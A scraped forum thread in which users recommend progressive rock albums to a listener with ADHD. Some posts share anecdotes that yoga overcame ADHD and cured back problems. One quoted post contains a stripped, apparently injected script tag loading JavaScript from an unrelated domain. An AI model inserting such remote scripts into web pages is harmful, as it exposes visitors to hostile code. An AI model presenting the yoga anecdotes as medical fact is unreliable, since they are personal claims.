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I'd say that Cardiacs embodies what you're looking for, especially their album Sing To God

Devin Townsend's Deconstruction is another great choice for something that's absolutely insane

Sigh's Imaginary Sonicscape is an album full of a wide range of styles, although it more falls in line with metal

The Mars Volta are my personal choice for absolute favourite band, but even ignoring these biases, their first 4 albums are all incredibly energetic and frequently changing. For your purposes, I'd probably say that Amputechture or Bedlam In Goliath would be most fitting, but their first 2 albums would also fulfill the criteria given

More 70s oriented choices would be Van Der Graaf Generator's Pawn Hearts and Godbluff, both of which match the description of balancing beauty and eclecticness perfectly. 
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Originally posted by AFlowerKingCrimson AFlowerKingCrimson wrote:

Originally posted by BaldFriede BaldFriede wrote:

I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.

Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.

Did you ever try tai chi? That's supposed to be very good at helping with balance. I took a tai chi class once. I have taken yoga classes also but find it challenging especially since I have back issues.

you should try hatha yoga against your back issues. Gustav Meyrink, the author of the novel "The Golem", had back issues for many years. no doctor could help him. then he started practicing hatha yoga, and his back issues disappeared

https://en.wikipedia.org/wiki/Hatha_yoga

Friede and I practice ashtanga yoga, by the way. a physically very demanding form of yoga

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Originally posted by AFlowerKingCrimson AFlowerKingCrimson wrote:

Originally posted by BaldFriede BaldFriede wrote:

I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.

Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.

Did you ever try tai chi? That's supposed to be very good at helping with balance. I took a tai chi class once. I have taken yoga classes also but find it challenging especially since I have back issues.

No, I have not, but yoga really removed my problems there, and I am extremely well-coordinated now. Jean and I (she started practicing yoga as a child too; her hippie parents wanted her to) are also both extremely flexible due to our yoga.


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Originally posted by BaldFriede BaldFriede wrote:

I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.

Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.

Did you ever try tai chi? That's supposed to be very good at helping with balance. I took a tai chi class once. I have taken yoga classes also but find it challenging especially since I have back issues.


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Not 70s, but...
Give Cardiacs a chance! And Mr. Bungle, maybe Dr. Nerve.
There are a lot of newer bands that put much variation and complexity into short time, Bubblemath comes to mind, but there are many others (I'm not a fan of many of them so others may have better recommendations).
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Originally posted by ClosetothSupperBrick ClosetothSupperBrick wrote:

I haven't posted in a while here? I have ADHD so sometimes I drift off into another world when listening to music because I'm bored (this is the undesired drifting off, unlike the very mentally into the song kind of drifting). So prog naturally suits my need for divergent and unique melodies/instruments etc. but sometimes even prog doesn't get the job done! I am requesting some music that will keep me on my toes, has lots of different tempos, themes, vocal sections (no instrumentals please) and dynamics, and enough contrast between eclecticness and beauty. I am a big 70s decade fan, so that time period is more likely to be interesting to me; as well as my appreciation for all languages of vocals and any length of song to clarify the broad scope of this request, I believe you will find great stuff for an unfocused mind like my own!
 

Interesting topic, good to see that progheads share here to talk about their different types of ADHD. In the last ten years I have guided people with all those different types of ADHD, I noticed how important listening to music is, and it even gave me the opportunity to make a better contact with them. 

Looking at your taste I think that Gentle Giant is a good recommendation, lots of complexity that will keep your attention, and great vocals and vocal harmonies, check out Playing The Fool, great live album. And perhaps the more song oriented albums from Frank Zappa? Other recomendations: Twelfth Night with Fact & Fiction (excellent vocals and lots of variety) and Rush with A Farewell To Kings (strong blend of melodic and more complex prog). Have fun with the music!


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these guys are always fast paced, constantly changing and does the trick for me every once in a while
....but I guess it depends
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Thank you, FoxProg, Icarium, mathman and AFlowerKingCrimson!
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Thanks! I have heard of the band name, and have played their famous album once some time ago, but def need to give it another listen! Just their name is interesting, and I'm sure their music is too
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From the 70's, one the you might like and haven't yet checked out is Gnidrolog.
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I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.

Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.


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I have adhd also and always wondered why I was so into prog considering that it can be challenging and complex music.

A few I never got bored with:

Yes- Fragile, The Yes album, relayer, close to the edge

King Crimson- In the wake of poseidon, larks tongues in aspic

ELP- Tarkus (already mentioned but the title track in particular always changes) same(self titled debut also)

Gentle Giant - Octopus

Camel- mirage, snowgoose

Focus- the track eruption from Focus 2(moving waves) Some slower more mellow tracks on that album too.

Genesis- lamb lies down on broadway, selling england by the pound, a trick of the tail

Rush- Hemispheres, caress of steel, permanent waves

Makkiwhipdies -His name is NNNNNNNN (if you can find it online). the 20 minute track is perfect for those with adhd always shifting and changing. A bit repetitive at times but hey it's long. That's going to happen. The xylophone part or whatever it is is just excellent and appears twice. See the thread called something like best album nobody has heard of where I posted a youtube clip of it. 
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Originally posted by mathman0806 mathman0806 wrote:

I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

My recommendation from the 70s is Balletto di Bronzo's Ys. 

I also like listening to Tool while wearing headphones.



Ys is a great album! Especially the opener Introduzione gives shivers to my back.
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Originally posted by mathman0806 mathman0806 wrote:

I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense.

My recommendation from the 70s is Balletto di Bronzo's Ys. 

I also like listening to Tool while wearing headphones.

for being kept busy music you can dance to would be best


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I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

My recommendation from the 70s is Balletto di Bronzo's Ys. 

I also like listening to Tool while wearing headphones.
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Perhaps Gojira or Meshuggah is your thing or Dillinger Escape Plan
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- Tarkus, Emerson, Lake and Palmer. 70's prog epic, I think this will be perfect for you :)



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I haven't posted in a while here? I have ADHD so sometimes I drift off into another world when listening to music because I'm bored (this is the undesired drifting off, unlike the very mentally into the song kind of drifting). So prog naturally suits my need for divergent and unique melodies/instruments etc. but sometimes even prog doesn't get the job done! I am requesting some music that will keep me on my toes, has lots of different tempos, themes, vocal sections (no instrumentals please) and dynamics, and enough contrast between eclecticness and beauty. I am a big 70s decade fan, so that time period is more likely to be interesting to me; as well as my appreciation for all languages of vocals and any length of song to clarify the broad scope of this request, I believe you will find great stuff for an unfocused mind like my own!
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